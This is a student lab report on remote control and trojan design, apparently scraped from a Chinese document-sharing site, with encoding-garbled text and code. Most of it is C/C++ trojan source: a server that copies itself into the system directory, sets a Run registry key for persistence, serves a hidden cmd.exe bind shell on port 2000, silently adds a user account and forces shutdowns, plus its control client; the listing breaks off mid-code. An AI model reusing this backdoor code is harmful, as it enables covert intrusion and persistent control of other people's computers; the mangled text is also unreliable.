遠(yuǎn)程控制與木馬程序設(shè)計(jì)_第1頁
遠(yuǎn)程控制與木馬程序設(shè)計(jì)_第2頁
遠(yuǎn)程控制與木馬程序設(shè)計(jì)_第3頁
遠(yuǎn)程控制與木馬程序設(shè)計(jì)_第4頁
遠(yuǎn)程控制與木馬程序設(shè)計(jì)_第5頁
全文預(yù)覽已結(jié)束

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

/試驗(yàn)題目遠(yuǎn)程限制和木馬程序設(shè)計(jì)試驗(yàn)?zāi)康鸟{馭遠(yuǎn)程限制的一般原理和類型,實(shí)現(xiàn)利用網(wǎng)絡(luò)scoket套接字完成計(jì)算機(jī)遠(yuǎn)程通信過程,學(xué)生深化理解和駕馭基于TCP/IP協(xié)議的網(wǎng)絡(luò)通信概念、原理,以及網(wǎng)絡(luò)客戶機(jī)/服務(wù)器模型的結(jié)構(gòu)概念。熟悉常用的WindowsAPI函數(shù)的用法,利用C++或VB語言實(shí)現(xiàn)木馬程序的設(shè)計(jì)。試驗(yàn)條件和環(huán)境WindowsXPSP3MicrosoftVirtualC++試驗(yàn)方法(系統(tǒng)功能、結(jié)構(gòu)設(shè)計(jì),軟件流程圖等)利用Socket進(jìn)行網(wǎng)絡(luò)遠(yuǎn)程通信設(shè)計(jì)運(yùn)用套接字Socket在兩臺計(jì)算機(jī)實(shí)現(xiàn)通信過程中,首先假設(shè)一臺是服務(wù)端,另一臺是客戶端。服務(wù)端先啟動,建立一個套接字Socket,并對相應(yīng)的IP和端口進(jìn)行綁定、監(jiān)聽;客戶端也建立一個套接字Socket,并對其相應(yīng)的IP和端口進(jìn)行綁定,然后和服務(wù)端連接,待其相應(yīng)后,雙方可以實(shí)現(xiàn)遠(yuǎn)程通信。服務(wù)端流程如下:socket()->bind()->listen()->accept()->recv()/send()->closesocket()客戶端流程如下:socket()->connect()->recv()/send()->closesocket()遠(yuǎn)程限制和木馬程序遠(yuǎn)程限制事實(shí)上是包含有服務(wù)器端和客戶端的一套程序服務(wù)器端程序駐留在目標(biāo)計(jì)算機(jī)里,隨著系統(tǒng)啟動而自行啟動。此外,運(yùn)用傳統(tǒng)技術(shù)的程序會在某端口進(jìn)行監(jiān)聽,若接收到數(shù)據(jù)就對其進(jìn)行識別,然后依據(jù)識別后的叮囑在目標(biāo)計(jì)算機(jī)上執(zhí)行一些操作(比如竊取口令,拷貝或刪除文件,或重啟計(jì)算機(jī)等)。攻擊者一般在入侵成功后,將服務(wù)端程序拷貝到目標(biāo)計(jì)算機(jī)中,并設(shè)法使其運(yùn)行,從而留下后門。日后,攻擊者就能夠通過運(yùn)行客戶端程序,來對目標(biāo)計(jì)算機(jī)進(jìn)行操作。總體流程:通過C/S運(yùn)行模式并結(jié)合進(jìn)程和匿名管道技術(shù)來實(shí)現(xiàn)的,主體分為兩部分:即客戶端和服務(wù)端木馬程序。其原理為服務(wù)端程序在目標(biāo)計(jì)算機(jī)中接受自動運(yùn)行模式,并打開2000端口進(jìn)行監(jiān)聽,當(dāng)客戶端向服務(wù)端主動提出連接請求,服務(wù)端木馬程序就會自動運(yùn)行,來應(yīng)答客戶端的請求,從而建立連接,服務(wù)段木馬程序依據(jù)客戶端的指令而執(zhí)行相應(yīng)的操作。軟件流程圖:試驗(yàn)結(jié)果及結(jié)論附錄:程序清單及說明客戶端程序:#include<stdio.h> //包含標(biāo)準(zhǔn)輸入輸出庫#include<winsock.h> //包含windows套接字函數(shù)#pragmacomment(lib,"Ws2_32")//將注釋wsock32放置到lib文件中,否則須要加載#defineMAXSIZE2048 //每次可以接收的最大字節(jié)#defineSEND_PORT2000//和木馬程序連接的端口為2000structsockaddr_inClientAddr; //對方的地址端口信息SOCKETsock; //定義套接字變量,為全局變量DWORDstartSock()//建立套接字功能模塊{WSADATAWSAData;//將WSAData的數(shù)據(jù)類型聲明為WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { //MAKEWORD(2,2)預(yù)定義Winsock版本,初始化套接字 printf("sockinitfail"); return(-1); } sock=socket(AF_INET,SOCK_STREAM,0); //連接對方return1;}intmain(intargc,char*argv[]){u_intnumbyte;charbuf[MAXSIZE];//傳送數(shù)據(jù)的緩沖區(qū) if(argc!=2) { //須要有服務(wù)端ip參數(shù),格式:client.exeIP地址 fprintf(stderr,"usage:clienthostname\n"); exit(1); } startSock();//調(diào)用建立套接字功能函數(shù) ClientAddr.sin_family=AF_INET; //協(xié)議類型是INET ClientAddr.sin_port=htons(SEND_PORT); //連接對方2000端口 ClientAddr.sin_addr.s_addr=inet_addr(argv[1]); //連接對方的IP地址 connect(sock,(structsockaddr*)&ClientAddr,sizeof(structsockaddr));printf("遠(yuǎn)程限制木馬程序菜單\r\n");printf("test --檢測連接\r\n");printf("add --建立Windowsxp系統(tǒng)的隱私帳號\r\n");printf("shutdownxp --關(guān)閉Windowsxp計(jì)算機(jī)\r\n");printf("resetxp --重新啟動Windowsxp計(jì)算機(jī)\r\n");printf("close --關(guān)閉光驅(qū)\r\n");printf("open --打開光驅(qū)\r\n");printf("sell --建立cmd進(jìn)程\r\n");printf("OSVersion --顯示系統(tǒng)版本\r\n");printf("\r\n"); numbyte=recv(sock,buf,MAXSIZE,0);//接收服務(wù)端發(fā)來的提示符 if(numbyte==SOCKET_ERROR) { closesocket(sock); } buf[numbyte]='\0'; printf("%s",buf);//顯示服務(wù)端發(fā)來的提示符 if(strcmp(buf,"quit")==0) { closesocket(sock); return0; } while(1) { buf[0]='\0'; scanf("%s",buf);//輸入限制指令 intiLen=strlen(buf); buf[iLen]=0xa; buf[iLen+1]='\0';//要求限制指令串最終為回車符,以示結(jié)束 numbyte=send(sock,buf,strlen(buf),0);//發(fā)出限制指令 if(numbyte==SOCKET_ERROR) { closesocket(sock); break; } numbyte=recv(sock,buf,MAXSIZE,0);//接收服務(wù)端發(fā)來的提示符 if(numbyte==SOCKET_ERROR) { closesocket(sock); break; } buf[numbyte]='\0'; printf("%s",buf);//顯示服務(wù)端發(fā)來的提示符 if(strcmp(buf,"quit")==0) { closesocket(sock);return0; } } return0;}服務(wù)器程序:#include<winsock2.h>//包含windows套接字函數(shù)#include<stdio.h>//包含標(biāo)準(zhǔn)輸入輸出函數(shù)#include<mmsystem.h>//光驅(qū)限制函數(shù)mciSendString()所需的頭文件#include<iostream.h>//包含C++系統(tǒng)輸入輸出函數(shù)#include<string.h>//包含字符串處理函數(shù)#include<winuser.h>//WinExec()函數(shù)所需的頭文件#pragmacomment(lib,"Ws2_32")//將注釋wsock32放置到lib文件中,否則須要加載#pragmacomment(lib,"Winmm.lib")//光驅(qū)限制函數(shù)mciSendString()所需的庫#defineRECV_PORT2000//木馬服務(wù)端對外響應(yīng)的端口#definePATH200//程序自啟動的最大路徑SOCKETsock1,sock2;//sock1為服務(wù)端程序自身建立的套接字//sock2為服務(wù)端和客戶端建立響應(yīng)后的套接字intg1;charBuff[1024],cmd[1024];//緩沖區(qū)DWORDstartSock()//建立套接字功能模塊{WSADATAWSAData;//將WSAData的數(shù)據(jù)類型聲明為WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { //MAKEWORD(2,2)預(yù)定義Winsock版本,初始化套接字 printf("sockinitfail"); return(-1); }sock1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //建立套接字,為TCP/IP、流式格式 structsockaddr_inserverAddr;//保存套接字地址的結(jié)構(gòu)體 serverAddr.sin_family=AF_INET;//規(guī)定運(yùn)用IPv4協(xié)議 serverAddr.sin_port=htons(RECV_PORT);//響應(yīng)端口 serverAddr.sin_addr.s_addr=ADDR_ANY; //建立IP地址,ADDR_ANY可運(yùn)用隨意IP地址連接 g1=bind(sock1,(sockaddr*)&serverAddr,sizeof(serverAddr));//綁定端口和套接字 g1=listen(sock1,5);//等待監(jiān)聽,最大可接受5個連接請求intserverAddrSize=sizeof(serverAddr); sock2=accept(sock1,(sockaddr*)&serverAddr,&serverAddrSize); //假如客戶請求2000端口,接受連接,并返回sock2套接字return1;}intcmdshell(SOCKETsock)//建立cmd進(jìn)程功能模塊{ STARTUPINFOstartinfo;//限制進(jìn)程的主窗口的顯示方式 ZeroMemory(&startinfo,sizeof(startinfo)); startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//確定本結(jié)構(gòu)的每一個成員是否起作用 startinfo.wShowWindow=SW_HIDE;//窗口顯示模式,隱藏格式 startinfo.hStdInput=startinfo.hStdOutput=startinfo.hStdError=(void*)sock;//標(biāo)準(zhǔn)輸入輸出管道 charcmdsystem[]="cmd";//cmd進(jìn)程 PROCESS_INFORMATIONProcessInformation;//指向進(jìn)程信息結(jié)構(gòu)的指針 intg2; //下面為建立進(jìn)程過程 g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation);//建立一個cmd.exe進(jìn)程和相應(yīng)的輸入輸出管道 WaitForSingleObject(ProcessInformation.hProcess,INFINITE);//等待子進(jìn)程退出 TerminateProcess(ProcessInformation.hProcess,0); //在一個子進(jìn)程中強(qiáng)制結(jié)束其他的進(jìn)程 CloseHandle(ProcessInformation.hProcess);//關(guān)閉子進(jìn)程句柄 return1;}DWORDstartExeFile()//自啟動程序功能模塊{charExeFile[PATH];//木馬程序緩沖區(qū) charTempPath[PATH];//系統(tǒng)書目緩沖區(qū) intg3; GetModuleFileName(NULL,ExeFile,PATH);//得到當(dāng)前文件名 GetSystemDirectory(TempPath,PATH); //得到系統(tǒng)書目 strcat(TempPath,"\\server.exe");//拷貝到系統(tǒng)文件夾名為server.exe g3=CopyFile(ExeFile,TempPath,FALSE); HKEYkey;//關(guān)鍵字句柄 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS) {//創(chuàng)建和打開一個關(guān)鍵字 RegSetValueEx(key,"server",0,REG_SZ,(BYTE*)TempPath,lstrlen(TempPath));//在RUN鍵下建立一個server鍵,為該木馬的路徑 RegCloseKey(key);//關(guān)閉并保存 } return1;}DWORDOpen_CDROM()//打開光驅(qū)程序功能模塊{mciSendString("setcdaudiodooropen",NULL,0,NULL); //多媒體限制函數(shù)return1;}DWORDClose_CDROM()//關(guān)閉光驅(qū)程序功能模塊{mciSendString("Setcdaudiodoorclosedwait",NULL,1,NULL);//多媒體限制函數(shù)return1;}DWORDshutdownwinxp()//關(guān)閉Winxp程序功能模塊{HANDLE hToken;TOKEN_PRIVILEGES tkp; //Windows2K中須要設(shè)置調(diào)用進(jìn)程的權(quán)限,當(dāng)獲得該權(quán)限后才能關(guān)閉計(jì)算機(jī)的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount=1;//設(shè)置一個權(quán)限 tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0); ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);return1;}DWORDresetwinxp()//重新啟動Winxp程序功能模塊{HANDLE hToken;TOKEN_PRIVILEGES tkp;//Windowsxp系列,須要設(shè)置調(diào)用進(jìn)程的權(quán)限,獲得權(quán)限才能進(jìn)行重新啟動計(jì)算機(jī)的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount=1;//設(shè)置一個權(quán)限tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);return1;}DWORDadduser()//建立隱私帳號程序功能模塊{WinExec("netuserxxdk111/add",SW_HIDE);//建立隱私帳號return1;}DWORDGetOSVersion(){ OSVERSIONINFOOS; //操作系統(tǒng)版本信息的數(shù)據(jù)結(jié)構(gòu) OS.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&OS); //獲得操作系統(tǒng)版本信息 switch(OS.dwPlatformId) //依據(jù)dwPlatformId參數(shù)的值來推斷操作系統(tǒng)的版本 { caseVER_PLATFORM_WIN32_WINDOWS: send(sock2,"Windows9xOK\n\rcmd>",sizeof("Windows9xOK\n\rcmd>"),0);return1; caseVER_PLATFORM_WIN32_NT: send(sock2,"WindowsXPOK\n\rcmd>",sizeof("WindowsXPOK\n\rcmd>"),0);return1; return1; }}//下面為主函數(shù),通過調(diào)用各個功能模塊來實(shí)現(xiàn)木馬功能intmain(){ startExeFile();// startSock(); unsignedlongByteRead=0; send(sock2,"歡迎進(jìn)入木馬遠(yuǎn)程限制系統(tǒng),請輸入你的選擇!\n\rcmd>",sizeof("歡迎進(jìn)入木馬遠(yuǎn)程限制系統(tǒng),請輸入你的選擇!\n\rcmd>"),0); while(1) { ZeroMemory(cmd,1024);//初始化cmd[]緩沖區(qū),用來裝客戶端發(fā)來的指令 ByteRead=0;//接收客戶端發(fā)來的指令字節(jié)數(shù) while(ByteRead<200)//下面是接收客戶端發(fā)來限制字程序段 { if(recv(sock2,Buff,1,0)==SOCKET_ERROR)//限制字在Buff緩沖區(qū)中 { closesocket(sock2); return0; } cmd[ByteRead]=Buff[0]; if(Buff[0]==0xa||Buff[0]==0xd) {//假如限制字最終是回車符表示結(jié)束標(biāo)記,cmd[]數(shù)組最終一位為0 cmd[ByteRead]=0; break; } ByteRead++;//指令字節(jié)計(jì)數(shù) } if(strcmp(cmd,"open")==0) { Open_CDROM();//調(diào)用打開光驅(qū)模塊程序 send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0); } elseif(strcmp(cmd,"close")==0) { Close_CDROM(); //調(diào)用關(guān)閉光驅(qū)模塊程序 send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0); } elseif(strcmp(cmd,"test")==0) { send(sock2,"OK!\n\rcmd>",sizeof("OK!\n\rcmd>"),0); } elseif(strcmp(cmd,"shell")==0) { cm

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論